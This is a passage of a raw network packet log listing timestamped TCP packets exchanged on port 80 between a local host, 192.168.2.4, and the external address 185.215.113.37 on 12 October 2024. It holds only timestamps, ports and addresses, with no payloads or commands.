Oct 12, 2024 13:17:32.182262897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.182317019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.182353020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.182365894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.182365894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.182404995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.182459116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.182478905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.182502985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.182511091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.182544947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.182579994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.182590961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.182590961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.182615042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.182651043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.182657003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.182657003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.182696104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.182706118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.182761908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.182796001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.182806015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.182806015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.182831049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.182867050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.182876110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.182876110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.182920933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.182924986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.182975054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.182980061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.183027983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.183060884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.183074951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.183111906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.183146954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.183152914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.183152914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.183178902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.183212996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.183224916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.183224916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.183248043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.183280945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.183295965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.183295965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.183310986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.183346987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.183362961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.183362961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.183379889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.183424950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.183424950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.183445930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.183480024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.183517933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.183521032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.183521032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.183554888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.183566093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.183589935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.183623075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.183640003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.183640003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.183659077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.183693886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.183706999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.183706999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.183727980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.183762074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.183777094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.183777094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.183796883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.183830023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.183840990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.183840990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.183859110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.183892965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.183906078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.183906078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.183927059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.183959961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.183976889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.183976889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.183994055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.184026957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.184042931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.184042931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.184061050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.184093952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.184109926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.184109926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.184130907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.184165001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.184178114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.184178114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.184199095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.184227943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.184245110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.184245110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.184262037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.184295893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.184309006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.184309959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.184330940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.184365988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.184376001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.184376001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.184400082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.184432983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.184446096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.184446096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.184468031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.184501886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.184514999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.184514999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.184535980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.184570074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.184581995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.184582949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.184607029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.184640884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.184653044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.184653044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.184678078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.184710979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.184724092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.184724092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.184746027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.184779882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.184792042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.184792995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.184813023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.184847116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.184859037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.184859037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.184880972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.184915066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.184926987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.184926987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.184951067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.184998035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.184998035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.221657038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.226557016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.448008060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.448060036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.448116064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.448115110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.448115110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.448149920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.448187113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.448199034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.448199034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.448220968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.448251963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.448251963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.448273897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.448307037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.448339939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.448348999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.448348999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.448374033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.448405981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.448441029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.448474884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.448484898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.448484898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.448513985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.448545933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.448554993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.448554993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.448591948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.448595047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.448628902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.448666096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.448673010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.448673964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.448699951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.448730946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.448745966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.448765993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.448800087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.448832989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.448844910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.448844910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.448863029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.448874950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.448926926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.448961973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.448971033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.448971033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.448996067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.449037075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.449045897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.449045897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.449088097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.449110985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.449124098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.449157000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.449168921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.449168921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.449191093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.449229002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.449229002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.449249983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.449306011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.449335098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.449351072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.449351072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.449367046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.449400902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.449414015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.449414015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.449434996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.449453115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.449487925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.449517965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.449537039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.449537039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.449549913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.449584007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.449601889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.449601889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.449618101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.449645996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.449671030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.449703932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.449718952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.449718952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.449738026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.449768066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.449780941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.449780941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.449810982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.449825048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.449876070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.449906111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.449925900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.449925900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.449939013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.449970961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.449973106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.450000048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.450005054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.450041056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.450048923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.450048923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.450074911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.450109005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.450117111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.450117111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.450143099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.450176001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.450186014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.450186968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.450211048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.450243950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.450249910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.450249910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.450275898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.450289965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.450309038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.450340033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.450357914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.450357914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.450373888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.450387955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.450408936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.450442076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.450453043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.450453043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.450474977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.450508118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.450519085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.450520039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.450542927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.450572014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.450587988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.450587988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.450607061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.450623989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.450640917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.450665951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.450675964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.450712919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.450721979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.450721979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.450745106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.450763941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.450778008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.450810909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.450822115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.450822115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.450845003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.450874090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.450895071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.450895071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.450907946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.450942993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.450953007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.450953007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.451016903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.906444073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.906444073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.912239075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.912280083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:33.797245026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:33.797323942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:33.854218960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:33.859302998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:34.082361937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:34.082412004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:34.082443953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:34.082448959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:34.082477093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:34.082489967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:34.084753990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:34.090209961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:34.312064886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:34.312131882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:34.323750973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:34.329401016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:35.947808981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:35.947895050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:35.948141098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:35.948188066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:35.948262930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:35.948302031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:35.948357105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:35.948400974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:35.971364975 CEST	49730	80	192.168.2.4	185.215.113.37
